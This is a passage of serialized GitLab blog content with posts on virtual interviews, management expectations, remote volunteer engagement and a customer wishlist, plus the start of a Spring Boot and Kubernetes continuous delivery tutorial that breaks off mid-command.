Apps","en-us/blog/behind-the-scenes-how-we-built-review-apps.yml","en-us/blog/behind-the-scenes-how-we-built-review-apps",{"_path":36632,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36633,"content":36639,"config":36644,"_id":36646,"_type":16,"title":36647,"_source":17,"_file":36648,"_stem":36649,"_extension":20},"/en-us/blog/how-to-prepare-for-a-virtual-interview",{"title":36634,"description":36635,"ogTitle":36634,"ogDescription":36635,"noIndex":6,"ogImage":36636,"ogUrl":36637,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36637,"schema":36638},"How to prepare for a virtual interview at GitLab","Our Global Recruiter shares a few tips on how to get ready for a job interview that's *not* irl.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683946/Blog/Hero%20Images/how-to-prepare-for-a-virtual-interview.jpg","https://about.gitlab.com/blog/how-to-prepare-for-a-virtual-interview","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to prepare for a virtual interview at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sasha Bannister\"}],\n        \"datePublished\": \"2017-01-03\",\n      }",{"title":36634,"description":36635,"authors":36640,"heroImage":36636,"date":36642,"body":36643,"category":299},[36641],"Sasha Bannister","2017-01-03","\n\nThe GitLab interview process, like our company, is remote first. As a result, our recruiting team and hiring managers spend lots of time meeting candidates via [video calls](/handbook/communication/#video-calls). Video chats are an important part\nof our daily culture and a great way to connect with our teammates, but they can also be a confusing, uncomfortable, and stress-inducing component of an interview.\n\n\u003C!-- more -->\n\nMore and more organizations are conducting interviews and meetings using video platforms. At GitLab we use Google Hangouts or Appear.in for most of our [one-on-one calls](/handbook/communication/#video-calls). Whatever platform you’re using, these simple guidelines will help you have a productive web interview and allow you to focus on the role.\n\nRead on for our tips on how to avoid video chat nerves!\n\n## Stage your interview spot\n\nIt’s nice to be in a neutral environment that is a quiet and comfortable for you. That way neither you nor the interviewer gets too distracted by your environment. We encourage you to display your [quirkiness](https://handbook.gitlab.com/handbook/values/) and personality, but for the interview it's best to avoid chaos. For example, we wouldn't suggest taking your interview call in a loud crowded cafe, in a car, or from your bed! These examples may sound extreme, but we have seen it all.\n\n## Practice your positioning\n\nDuring the interview, you can’t exactly make eye contact with the interviewer, so the interviewer should clearly be able to see your face. Before the interview, check your front-facing camera or webcam to make sure you are well\nlit and can be seen!\n\n## Test your tech\n\nNothing is worse than realizing moments before your call that you don’t have strong enough wifi, don’t know how to use the video platform, or can’t get your mic to work! Test your equipment and the video platform before\nyour interview, and avoid technical snags the day of! It’s also worthwhile to make sure your computers are fully charged or plugged in, and you have earphones with a good mic (this helps minimize echo). We suggest using a webcam or your built-in camera on your laptop for the interview instead of using a phone or tablet.\n\n## Do your research\n\nAt GitLab, we love when candidates have reviewed our [handbook](/handbook/) and know our [values](https://handbook.gitlab.com/handbook/values/). Many of our [interview questions](/handbook/hiring/#interview-questions) can even be found in our [hiring process](/handbook/hiring/), making preparation simple. Making a great first impression is not reserved for on-site interviews.\n\nAfter you've mastered these tips, it's important to remember that much of the traditional interviewing advice still applies; we encourage you to prepare for a virtual interview the same way you would for an in-person interview. Just because you are taking a call from home doesn’t make it the same as a casual call. Dress appropriately, do your research, and prepare good questions.\n\n So what are you waiting for?! Now that you’re ready for your first interview with GitLab, head to our [jobs page](/jobs/) to check out all of our open roles. We can’t wait to meet you!\n\nImage: \"[Nurturing Global Communities Of Practice via Google Plus Hangouts](https://www.flickr.com/photos/thomcochrane/6816952248/in/photolist-booEps-eAd9dF-nFi1Nk-ePjC2R-irZLco-p9T8i9-hJw5BS-hJwJZv-ajfAp4-ePjM8X-mbFtpp-ePw3fy-hJvBEe-ceF17u-HHywQL-ePw19o-kYkwKf-dqEjfQ-pESWes-kYkxBf-ePw9h3-cfW6eb-HLxMw2-HHyDaj-fA43ft-dUYEGc-hVp7qj-hHfkXj-rtZnmw-nDvJzr-a8ygpG-krfaXi-edHRac-a8ygq1-aaUbmS-krfbbV-hJvB7k-dyxQZQ-a8ygqA-aaUbis-eHuQJe-h7U3mF-f29C1c-dXS8Cy-ePw58L-hVpb6J-oS8XNJ-nzD7xn-oS9qPV-hVp92f)\" by [Thom Cochrane](https://www.flickr.com/photos/thomcochrane/) available under [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/legalcode).\n\nTweet us [@GitLab](https://twitter.com/gitlab), or add your thoughts and questions to our issue tracker.\n",{"slug":36645,"featured":6,"template":678},"how-to-prepare-for-a-virtual-interview","content:en-us:blog:how-to-prepare-for-a-virtual-interview.yml","How To Prepare For A Virtual Interview","en-us/blog/how-to-prepare-for-a-virtual-interview.yml","en-us/blog/how-to-prepare-for-a-virtual-interview",{"_path":36651,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36652,"content":36658,"config":36662,"_id":36664,"_type":16,"title":36665,"_source":17,"_file":36666,"_stem":36667,"_extension":20},"/en-us/blog/set-expectations",{"title":36653,"description":36654,"ogTitle":36653,"ogDescription":36654,"noIndex":6,"ogImage":36655,"ogUrl":36656,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36656,"schema":36657},"Set expectations, manage better","Creating overhead with meetings and reviews is a risk to the efficiency and remote culture of organisations and should be actively avoided for an organisation to succeed remote at scale.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683955/Blog/Hero%20Images/set-expectations-manage-better.jpg","https://about.gitlab.com/blog/set-expectations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Set expectations, manage better\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2017-01-03\",\n      }",{"title":36653,"description":36654,"authors":36659,"heroImage":36655,"date":36642,"body":36661,"category":6634},[36660],"Job van der Voort","\n\nWith GitLab Inc growing to [more than 150 people](/company/team/) working remotely and\nsteadily increasing, inevitably new challenges come up while building great\nsoftware.\n\n\u003C!--more-->\n\nWe never shied away from [hierarchy](/company/team/structure), but recently I’ve been\nnoticing a trend towards more traditional people management in an effort to\nmaintain focus on shipping at scale.\n\nI believe that creating overhead with meetings and reviews is a risk to the\nefficiency and remote culture of organisations. It should be _actively_ avoided\nfor an organisation to succeed remote at scale.\n\n## More people, less productivity\n\nWhen a team grows from five to 30 to 100 people, some parts of the\nteam will fail at some point: be that in the form of missing a deadline or not\ndelivering quality work.\nOf course, larger organisations want to solve this permanently. If there\nalready is an established hierarchy, it’s likely that the managers of the\nfailing team will ask themselves:\n\n> How could we have seen this earlier?\n\nA senior manager will think back to the old days when everyone was\nperforming well as a small team.\n\nNow, reader, how would you solve this? Obviously this was an oversight by\nmanagement: they should’ve seen this earlier. The suggested solution might be to improve or\ncreate a reporting structure where management reviews the status of projects\nand teams more frequently.\nIn addition, management should have more frequent meetings in order to review\nthe status of the teams and handle these if necessary.\n\nThis is where productivity goes down significantly and remote culture is in\ndanger.\n\n## Solution: Set clear expectations\n\nReviewing work in progress both directly, and indirectly through meetings is a\nwaste of time.\n\n> Q: But what happens if things go off the rails? How will I know? Who will handle it?\n>\n> A: Trust your people.\n\nYou must set clear expectations for any and all work. These expectations should\ninclude a clear scope, time of delivery, but more importantly: communication\nexpectations.\nCommunication expectations are easily outlined:\n\n- I expect that you will let me know immediately if you think that this deliverable will not make the deadline.\n- I expect that if you have doubts about the feasibility, functionality, scope, or outline of this deliverable, you will let me know.\n- I expect that if you need help from colleagues, you will contact them and ensure their collaboration. If you get stuck with this, I expect you to communicate this to me.\n\nNow this seems a little verbose – maybe it is, but it makes it very clear\nwhat is expected of those responsible. It even seems very obvious, but now that\nwe wrote this down, do the additional reviews and reports still make sense?\n\n## Doing this remotely\n\nDoing all of this remotely adds a layer of complexity. We’re fighting with two\nparadoxical goals: we want to maintain a single source of truth, and we want to be able to give a sense of urgency when working with deadlines, to be able to maintain a certain pace.\n\nIn practice this means that everyone is expected to over-communicate. For\nexample, I might say in a GitLab issue to Sytse that our rocket engine won’t\nmake it in time for the planned launch date, but because I know he’s way behind\non email and Todos, I’ll also send him a message in chat.\n\nFor remote teams, such as our own, I’d add another expectation:\n\n- I expect _you_ to make sure that other parties you communicate with are actually reached.\n\nThis means sometimes you’ll have to ask someone else if Jane is absent or\nsend her another message on chat if she doesn’t reply within a reasonable\ntime.\nFrom personal experience, being a little more pushy and impatient than you’d be\nin everyday life is enormously beneficial to this end.\n\nOver-communicating is a small cost to pay for the freedom of working remotely.\n\n## At GitLab\n\nI wrote this as a response to observations I made at GitLab. That said,\nit already was a company policy to look specifically for people who\nmanage themselves. This is [what we write in our handbook on this topic](/handbook/leadership/):\n\n> We don't have project managers. Individual contributors need to manage themselves. Not everyone will be able to do this effectively and be fit for our organization. Making someone responsible for managing others will make the job of the people who can manage themselves worse. If you manage yourself you have a much greater freedom to make decisions, and those decisions are based on deep knowledge of the situation. We want to retain the people who can handle that responsibility and therefore we can't retain the ones that struggle. Assigning a project manager/coordinator/case manager/etc. to something is an indicator that something is wrong and we are picking the wrong solution.\n\nWe write these and other lessons in our single source of truth,\n[our handbook](/handbook/). Like (almost) everything at GitLab, our handbook is\nopen source and you're welcome to read it and contribute to it.\n",{"slug":36663,"featured":6,"template":678},"set-expectations","content:en-us:blog:set-expectations.yml","Set Expectations","en-us/blog/set-expectations.yml","en-us/blog/set-expectations",{"_path":36669,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36670,"content":36675,"config":36679,"_id":36681,"_type":16,"title":36682,"_source":17,"_file":36683,"_stem":36684,"_extension":20},"/en-us/blog/how-to-keep-remote-teams-engaged",{"title":36671,"description":36672,"ogTitle":36671,"ogDescription":36672,"noIndex":6,"ogImage":9329,"ogUrl":36673,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36673,"schema":36674},"How to keep remote (volunteer) teams engaged","Our Director of Strategic Partnerships chats about remote engagement challenges at a charity that encourages kids to get interested in space, finding interesting parallels with open source projects.","https://about.gitlab.com/blog/how-to-keep-remote-teams-engaged","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to keep remote (volunteer) teams engaged\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2016-12-21\",\n      }",{"title":36671,"description":36672,"authors":36676,"heroImage":9329,"date":36677,"body":36678,"category":6634},[22017],"2016-12-21","\n\nWe love hearing when people outside of GitLab read our [Handbook](/handbook/) – it's totally public, after all, and it's pretty comprehensive (or a behemoth, depending on your frame of mind). It was even more exciting to hear from James Telfer, of [UK Students for the Exploration and Development of Space](http://ukseds.org/) (UKSEDS) that he read the handbook and had further questions that we'd left unanswered. In particular – what to do when you have neither carrot nor stick when managing remote volunteers?\n\n\u003C!--more-->\n\nUKSEDS, a student-run charity that operates around the UK, offering career advice and skills support to students interested in the space industry, borrowed a lot from our handbook when making their constitution.\n\nThe internal engagement problem grew after UKSEDS experienced a growth surge and a structural change earlier this year. Specifically, James said:\n\n> _Project teams are interacting okay with their direct managers but interaction with the wider organization is little to none. While this doesn't directly impact work, we're concerned about the longer-term impact on volunteer enjoyment and retention, both of which are really important to us._\n\nEliran Mesika, our Director of Strategic Partnerships, agreed to jump on the phone with James to learn more about UKSEDS' particular case and the challenges they faced.\n\nHere are some highlights:\n\n- Having individual responsibilities somewhere public (even internally) is a useful accountability tool, and helps direct team members to the correct person when they have a question.\n- Functional group updates presented to the whole company make teams talk more, which results in more organic collaboration.\n- Keeping communication on a specific topic within the right issue is essential for keeping everyone on the same page – especially when working asynchronously.\n\nRead on for Eliran's tips.\n\n**James:** Our work involves hosting skills workshops and conducting outreach, which means traveling to schools and science fairs to tell kids that space is great and they should get involved. We recently restructured by creating a small executive group that meets every week, and allowing volunteer teams to grow larger and meet less frequently. We found that destroyed our ability to connect with the teams and we've started losing people; we've got quite a high attrition rate, which is normal for a charity. But I wondered how you approached this problem? Some of those things like the random Hangouts and the 1:1 chats work great as long as you can pay people for their work time. But with volunteers it's a different problem entirely.\n{: .alert .alert-info}\n\n**Eliran:** I'm actually working with Drupal, and I think your problem is more similar to an open source project, or an open source community behind a project. There is a major difference between volunteers and people who are being paid. Once you're paying someone, you have their attention. Perhaps learning what open source projects do to engage their contributors may be helpful in your case. For now, I can share a bit about what we're doing to keep people engaged and connected to the mission.\n\nWe're an open core product, and since its inception the whole behavior and culture of the company has also been open. This extends to everything the company does: from the very technical details of a new feature that is being repaired or created, all the way to our high priorities and strategy, and the actual procedures the company follows, is documented and publicly shared. It is shared within the whole company, and is available all the time.\n\n**James:** How does that culture extend to individual responsibilities?\n{: .alert .alert-info}\n\n**Eliran:**\nExpectations and responsibilities are also public. I handle strategic partnerships, and it's pretty much just me doing this, but I can look at what anyone on our whole team is working on, without even having to ask them directly. On our team page, we have everyone's job description linked, along with any specific responsibilities. So if you have frontend developers, maybe one is responsible for the website, and others are responsible for a particular set of features of the community edition, for example. You can understand at a glance who the right person is for what you're interested in, and you can go into any repo and see what they're working on. For the most part when we're talking about procedures, we have the Handbook which describes everything about the administration and culture of the company. It goes into detail even about how to write a shared document that you work on. It also talks about what we do on a regular basis.\n\n**James:** Can you elaborate a bit on those routine things, like the daily calls?\n{: .alert .alert-info}\n\n**Eliran:** Our daily calls have worked really well for us. They're optional, but we usually get maybe two-thirds of the company joining each day. We have functional updates, where we've divided teams into the various days of the week, and they give an update on what they've completed over the past few weeks, which gives the whole company insight into what the marketing team is doing, what the CI team is doing, and what they're working on next. It really connects you with the whole scope, rather than just seeing your team's goals and your individual goals in a vacuum.\n\n**James:** So that's using what other people are doing to remind an individual person or team that the greater company exists – it's not so much that they'd be interested in the technical details, but it reminds them they're part of something bigger? Is that the key there?\n{: .alert .alert-info}\n\n**Eliran:** Yeah I think it's very important to give people insight into what other teams are doing, because it's remote. That's really key. Otherwise, it seems like when people are working remotely it's very easy to feel isolated. Having those functional updates forces you out of isolation and connects you with the bigger goal. And on a personal level, it connects you with other people's work. As you said, even if you're not a technical person, you'll still get a high-level understanding of the product or what the objective was. That's great for creating a more cohesive environment, and it's remained the same since I joined.\n\n>It's very important to give people insight into what other teams are doing – having functional updates forces you out of isolation and connects you with the bigger goal\n\nWe also have a second part of the call where people share what they did last weekend. So once a week you have an opportunity to talk about your personal life, we rotate so everyone shares their experiences. I think that's a very powerful tool to connect on a social level, even if you're not talking with people on a regular basis. Typically you're working with a team of 5-10 people, and you'll be part of a group that's maybe 30 people. So at best you'll know 30 people, and you won't talk to them on a regular basis. You know the regular few people that you talk to, and I think that's very narrow if you're part of a bigger group. But the way that we do these individual stories helps make everyone feel closer.\n\n**James**: I can see one definite scope for improvement for us, because we haven't been very good at pulling the teams together. They're sort of sandboxed at the moment.\n{: .alert .alert-info}\n\n**Eliran;** I think you'll notice that once teams start talking about what they're doing, obviously all teams have touch points that they've been speaking with others about, but you'll have more organic collaboration. Just by talking about what they're thinking about doing, or trying to do. That's the best case scenario. At the most basic level, you'll get people to be aware of what's going on.\n\nWe also have a second type of meeting, which is an open meeting focused on a certain department or area. We have a kick-off meeting for a product, or for example we have a monthly release cycle, and anyone can come to those meetings to learn more about what's going on. Our marketing team also has those meetings for example, to talk about new efforts and past performance.\n\n**James:** How else do people reach out to work together?\n{: .alert .alert-info}\n\n**Eliran:** We use Slack for communication, and I'm not sure how that would work in an environment like yours, without volunteers dedicating a certain amount of time every day. But we have channels for everything, and the whole team is distributed across channels. We have #whats-happening-at-gitlab, which is the channel Emily used to ask \"Hey is there anyone relevant who'd like to help James and talk about remote work at his organization?\" We also have a #questions channel, where anyone can ask anything from the most sophisticated to the stupidest. They just throw their question to the channel and people try to help them or steer them in the right direction for who to talk to. Another channel that's really important is the #thanks channel, and I feel that's an important part to offer gratitude to someone for helping you, and also receive that when you've helped someone. Because of the remote environment it's very powerful. Because GitLab's culture is built on asynchronous work – people in different time zones – you're not on Slack all the time because others will pick up your question whenever they become available.\n\nOne other thing that's working well is centralizing a process for working asynchronously. So, we try to make all the work and communication and discussion on GitLab by using issues. Someone will create an issue with a particular task or mission, and then the whole communication is available there. So people have access to information or decisions or a process on a specific area. Even if you're not involved, you can comment and say, \"Hey I'd like to suggest a, b, c.\" So by virtue of being in different time zones, we were forced to use asynchronous methods of work, and issues work very well for that. Having the discussion tools integrated into that, and using it to keep everything in one work space dedicated to a specific topic, is great for remote teams. If you can't always set a time for everyone to sit down together, using issues is crucial to making work happen.\n\n**James:** We do use Slack, because, as you may recall as a student you may as well be in different time zones, waking up at 9 am one day and 1 pm the next. Are there decisions made on Slack, or do you tell people, \"No this is a discussion, take it to x issue\"?\n{: .alert .alert-info}\n\n**Eliran:** We may have those specific discussions on Slack, but for the most part, maybe 95% of the decisions are happening within the issue. But we don't discourage people from talking, so there could be times when you have to talk to someone or a group of people, because there's only so much you can do over text. So you may make a decision over Hangout, but that is communicated back through the issue. Someone will go back and say \"I had a discussion with Mark, and we decided the best way to move forward is x.\" That way everyone has the opportunity to get the takeaways from that meeting and give input. So some decisions happen away from the issues. But it's important to reinforce that we try to keep communication on a specific topic within an issue. We really push that, and it's part of the culture at GitLab. As you keep growing, the sooner you adopt changes in a working culture, the better it is for people to learn them later on.\n\n\nRead more about [how we stay connected as a remote company](/blog/how-we-stay-connected-as-a-remote-company/).\n\n_Tweet us [@GitLab](https://twitter.com/gitlab) and check out our [job openings](/jobs/)._\n\n\u003C!-- cover image: https://www.pexels.com/photo/people-coffee-meeting-team-7096/ -->\n\n\u003C!-- cover image license: CC0: https://www.pexels.com/photo-license/ -->\n",{"slug":36680,"featured":6,"template":678},"how-to-keep-remote-teams-engaged","content:en-us:blog:how-to-keep-remote-teams-engaged.yml","How To Keep Remote Teams Engaged","en-us/blog/how-to-keep-remote-teams-engaged.yml","en-us/blog/how-to-keep-remote-teams-engaged",{"_path":36686,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36687,"content":36692,"config":36696,"_id":36698,"_type":16,"title":36699,"_source":17,"_file":36700,"_stem":36701,"_extension":20},"/en-us/blog/a-creative-agencys-gitlab-wishlist",{"title":36688,"description":36689,"ogTitle":36688,"ogDescription":36689,"noIndex":6,"ogImage":12340,"ogUrl":36690,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36690,"schema":36691},"Customer story: A creative agency's GitLab wishlist","A Lukkien developer shares his team's challenges with Git and GitLab for their UX designs, and requests a few tweaks they'd find useful.","https://about.gitlab.com/blog/a-creative-agencys-gitlab-wishlist","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Customer story: A creative agency's GitLab wishlist\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2016-12-15\",\n      }",{"title":36688,"description":36689,"authors":36693,"heroImage":12340,"date":36694,"body":36695,"category":734},[22017],"2016-12-15","\n[Wouter van Kuipers](https://twitter.com/wvkuipers) is an engineer at [Lukkien](https://www.lukkien.com/), a creative agency that produces online media, photography, film, apps, CGI, and graphic design. His team currently works on a platform aimed at parents and healthcare professionals. They've used a combination of Jenkins and GitLab, although they are switching to GitLab CI for testing. He told me his team tends to use the collaboration tools of GitLab the most. Before GitLab, they used SVN, and ultimately decided on GitLab instead of a competitor because they needed to host on-premises for security reasons. Our service engineer [Lee Matos](https://twitter.com/leematos) sat down with Wouter to learn about how GitLab can help.\n\n\u003C!--more-->\n\nHere are some items discussed below and requested by the Lukkien team:\n\n* A view that will let you see changes over builds, and how builds are affected over time.  \n* Notifications around CI builds, so if there are any related tickets, those get updated as well.\n* Versioning for Photoshop and InDesign files.\n\n**Wouter:** We struggle as a team and company to find a good versioning system for our (UX) designs. Right now we create separate folders and label the versions of our InDesign and Photoshop files. We want to know the latest version, but also want to have a clear visual representation of the changes between versions. Is there any planning for tooling like that in GitLab in the (near) feature?\n{: .alert .alert-info}\n\n**Lee:** Frankly, this is on our dream feature list. I think everybody on our team wants to be able to version Photoshop and InDesign documents, but we don’t have a good solution for those files right now that's going to work smoothly. It looks like Adobe is getting into the versioning space for files like these, so there’s a silver lining here in that once Adobe solves that problem, we’ll probably do something similar quickly thereafter.\n\n**Wouter:** My next question is that we are hosting GitLab using a Docker setup, this works quite well but we are not sure if this will create limitations in the long run, for example if we want to use Mattermost in the future? My team has 8-10 developers, but we use the setup for all our teams, we’re all in the same GitLab instance. So that’s 100-120 developers.\n{: .alert .alert-info}\n\n**Lee:** That's what I would call GitLab Small/Medium-sized. As it stands, we think that will be fine, there are no limitations even with Mattermost and we don’t expect there to be any problems. Obviously if there are, we’ll explore that with you and figure it out. Our product team leads aren't aware of running GitLab in Docker at a big scale (1000+) – most of those clients are running it directly in a VM or Bare Metal. We feel that obviously Docker is the future so we need to find the answer to these questions. If you run into anything, please bring it up in an issue. And the same goes for Docker in Mattermost, we don’t expect anything different.\n\n**Wouter:** Finally, in what way does GitLab want to position itself in the long run compared to GitHub?\n{: .alert .alert-info}\n\n**Lee:** The best way to think about it, for me, is we are actually more like Atlassian. Our end goal is to build what Atlassian ended up with by acquiring the little pieces, by instead building those parts and making them 100 percent cohesive. So it’s more about building an end-to-end development tool that allows your team to work together and converse and go. Our buzz phrase at this point is \"From idea to production\", so we want to cover everything over that process, and make it faster, whatever you’re using GitLab for. That’s even our goal internally as well, so it excites me because we’re actually using GitLab to build it.\n\nI think GitHub is positioning itself as more of a core component, they see Git and code as the core thing that needs to be solved, and are leaving integrations up to the third parties. We have integrations and we see the value in them, but we want to build something that allows you to start making things work out of the box. Instead of saying \"You need to go buy Drone CI, you need to use Waffle.io, and need to wire them all up and read 10 different documentations to figure it out.\" We want that process to be as easy as possible.\n\nImage [\"Lightroom Preset Balloon Release\"](https://www.flickr.com/photos/lennykphotography/26687024535/in/photolist-GEeYCF-hUAGKL-nQCwXy-Emhqdz-HRUzeG-EeGxU4-p2KCQa-Eroe6z-e4BpVm-dcZWfj-mQnNTJ-atd2f5-DSYEyA-DSqqGk-DFXwUA-aHPQVk-GucZJZ-EDGjje-CS8FYi-rymZ62-EBjtSY-DSfzQT-avJQMx-aYtqkR-CztMC7-dTRM3q-EPK3hD-DpeasQ-f2hdPB-eRwBGC-EoaxPD-b18F74-9sd1No-bkNuRx-byvPzZ-hxRZyb-D7F1xM-EVqmsh-CVBJBa-9pnw9W-eBWbNx-ftZrun-DXtJuT-p8As5e-DWQhdR-bkNdg7-oQCcaJ-b3JagT-8VoF1U-cgzLCU) by [Lenny K Photography](https://www.flickr.com/photos/lennykphotography/) is licensed under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/legalcode).\n\n_We want you to ask us anything! If you're a user interested in sharing your story on our blog, please fill out this [form]( https://docs.google.com/a/gitlab.com/forms/d/1K8ZTS1QvSSPos6mVh1ol8ZyagInYctX3fb9eglzeK70/edit)  and we’ll get in touch!_\n\n_Tweet us [@GitLab](https://twitter.com/gitlab) and check out our [job openings](/jobs/)._\n",{"slug":36697,"featured":6,"template":678},"a-creative-agencys-gitlab-wishlist","content:en-us:blog:a-creative-agencys-gitlab-wishlist.yml","A Creative Agencys Gitlab Wishlist","en-us/blog/a-creative-agencys-gitlab-wishlist.yml","en-us/blog/a-creative-agencys-gitlab-wishlist",{"_path":36703,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36704,"content":36710,"config":36716,"_id":36718,"_type":16,"title":36719,"_source":17,"_file":36720,"_stem":36721,"_extension":20},"/en-us/blog/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes",{"title":36705,"description":36706,"ogTitle":36705,"ogDescription":36706,"noIndex":6,"ogImage":36707,"ogUrl":36708,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36708,"schema":36709},"Spring Boot delivery with GitLab CI and Kubernetes","Create a Continuous Delivery pipeline to deploy a Spring Boot app with GitLab CI and Kubernetes to Google Cloud Container Engine","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672314/Blog/Hero%20Images/dew-leaf.jpg","https://about.gitlab.com/blog/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Continuous delivery of a Spring Boot application with GitLab CI and Kubernetes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marco Lenzo\"}],\n        \"datePublished\": \"2016-12-14\",\n      }",{"title":36711,"description":36706,"authors":36712,"heroImage":36707,"date":36714,"body":36715,"category":734},"Continuous delivery of a Spring Boot application with GitLab CI and Kubernetes",[36713],"Marco Lenzo","2016-12-14","\n\n[Continuous integration, continuous deployment and continuous delivery](/topics/ci-cd/) are increasingly popular topics among modern development teams. Together they enable a team to build, test and deploy the source code at any commit. The main benefit of these approaches is the ability to release more quality code more frequently through the means of automated pipelines. The tough part is building such pipelines. There is a myriad of tools available which we would need to choose, learn, install, integrate, and maintain.\n\nRecently, I literally fell in love with [GitLab](https://gitlab.com/)! It offers a fully featured ecosystem of tools which enable us to create an automated pipeline in minutes! From source control to issue tracking and CI, we find everything under one roof, fully integrated and ready to use.\n\n\u003C!-- more -->\n\nIn this tutorial, we will create a [Spring Boot](https://projects.spring.io/spring-boot/) application built, tested, and deployed with [GitLab CI](/solutions/continuous-integration/) on a [Kubernetes](http://kubernetes.io/) cluster.\n\n## What are Spring Boot and Kubernetes?\n\nSpring Boot (sometimes called Java Spring Boot) is the leading [microservice chassis](http://microservices.io/patterns/microservice-chassis.html) for Java. It allows a developer to build a production-grade stand-alone application, like a typical [CRUD](https://en.wikipedia.org/wiki/Create,_read,_update_and_delete) application exposing a [RESTful API](https://en.wikipedia.org/wiki/Representational_state_transfer), with minimal configuration, reducing the learning curve required for using the [Spring Framework](https://spring.io/) drastically.\n\nKubernetes is an open-source container orchestrator inspired by [Google Borg](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43438.pdf) that schedules, scales and manages containerized applications.\n\n\n## Create a GitLab project\n\nLet's start by [creating a new project](https://gitlab.com/projects/new) in GitLab named `actuator-sample`. Then we follow the command line instructions displayed in the project's home page to clone the repository on our machine and perform the first commit.\n\n```shell\ngit clone git@gitlab.com:marcolenzo/actuator-sample.git\ncd actuator-sample\ntouch README.md\ngit add README.md\ngit commit -m \"add README\"\ngit push -u origin master\n```\n\nAlways replace `marcolenzo` with your own GitLab username whenever copying a snippet of code from this tutorial.\n{: .alert .alert-info}\n\n## Create a Spring Boot application\n\nTo bootstrap the Spring Boot application we navigate to the [Spring Initializr](https://start.spring.io) web page and generate a **Maven Project** with the pre-selected Spring Boot **Version**. [Maven](https://maven.apache.org/index.html) is a project management tool commonly used in Java projects to define dependencies and the build lifecycle. We leave `com.example` as **Group** and set `actuator-sample` as the **Artifact** name. We select the `Web` dependency, which supports full stack web development with [Tomcat](http://tomcat.apache.org/) and [Spring MVC](http://docs.spring.io/spring/docs/current/spring-framework-reference/html/mvc.html), and the `Actuator` dependency which implements some production-grade features useful for monitoring and managing our application like health-checks and HTTP requests traces.\n\nFinally, we generate the project and a Zip file named `actuator-sample.zip` will be downloaded to our machine.\n\n![Spring Initializr](https://about.gitlab.com/images/blogimages/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes/initializr.png){: .shadow}\n\nWe can now unzip the archive and launch the application immediately. Spring Initializr has already created everything for us. We just need to have a [Java JDK](http://openjdk.java.net/install/) 1.7 or later installed on our machine and the `JAVA_HOME` environment variable set accordingly. [OpenJDK](http://openjdk.java.net/) is the preferred option for most Linux distributions since it is readily available on their repositories. You can alternatively install [Oracle JDK](http://www.oracle.com/technetwork/java/javase/downloads/index.html) if it is a strict requirement for your team.\n\n\n```shell\n### Installing OpenJDK 8 on Debian, Ubuntu, etc.\n\nsudo apt-get install openjdk-8-jre\n\n### Installing OpenJDK 8 on Fedora, Oracle Linux, Red Hat Enteprise, CentOS, etc.\n\nsu -c \"yum install java-1.8.0-openjdk\"\n\n### Setting the JAVA_HOME environment variable\n\nexport JAVA_HOME=/path/to/your/java/home # e.g. /usr/lib/jvm/java-8-openjdk-amd64/\n\n### Extracting and launching the application\n\n~/git/actuator-sample$ unzip ~/Downloads/actuator-sample.zip -d ../\n~/git/actuator-sample$ ./mvnw spring-boot:run\n\n[...]\n\n2016-12-02 22:41:14.376  INFO 10882 --- [           main] s.b.c.e.t.TomcatEmbeddedServletContainer : Tomcat started on port(s): 8080 (http)\n2016-12-02 22:41:14.420  INFO 10882 --- [           main] com.example.ActuatorSampleApplication    : Started ActuatorSampleApplication in 17.924 seconds (JVM running for 87.495)\n```\n\nThe application is up and running and we did not write one line of code! Spring Boot is opinionated and auto-configures the application with sane default values and beans. It also scans the classpath for known dependencies and initializes them. In our case, we immediately enjoy all the production-grade services offered by [Spring Actuator](http://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html).\n\n```shell\n~$ curl http://localhost:8080/health\n{\"status\":\"UP\",\"diskSpace\":{\"status\":\"UP\",\"total\":981190307840,\"free\":744776503296,\"threshold\":10485760}}\n```\n\nIf you wish to learn Spring Boot in greater detail, have a look at their [reference documentation](http://docs.spring.io/spring-boot/docs/current/reference/htmlsingle/) and [guides](https://spring.io/guides).\n{: .alert .alert-info}\n\nIt is time to commit our changes and push them to `origin`. To simplify things a bit, we commit directly on `master` without using [feature branches](https://docs.gitlab.com/ee/topics/gitlab_flow.html#github-flow-as-a-simpler-alternative) since collaboration is not the focus of this tutorial. Later, we will use [environment branches](https://docs.gitlab.com/ee/topics/gitlab_flow.html#environment-branches-with-gitlab-flow) as specified in the [GitLab Flow](https://docs.gitlab.com/ee/topics/gitlab_flow.html) to deploy to different environments selectively, e.g. staging and production. If you are not familiar with the [GitLab Flow](/solutions/gitlab-flow/), I strongly recommend you to read its documentation.\n\n```shell\ngit add 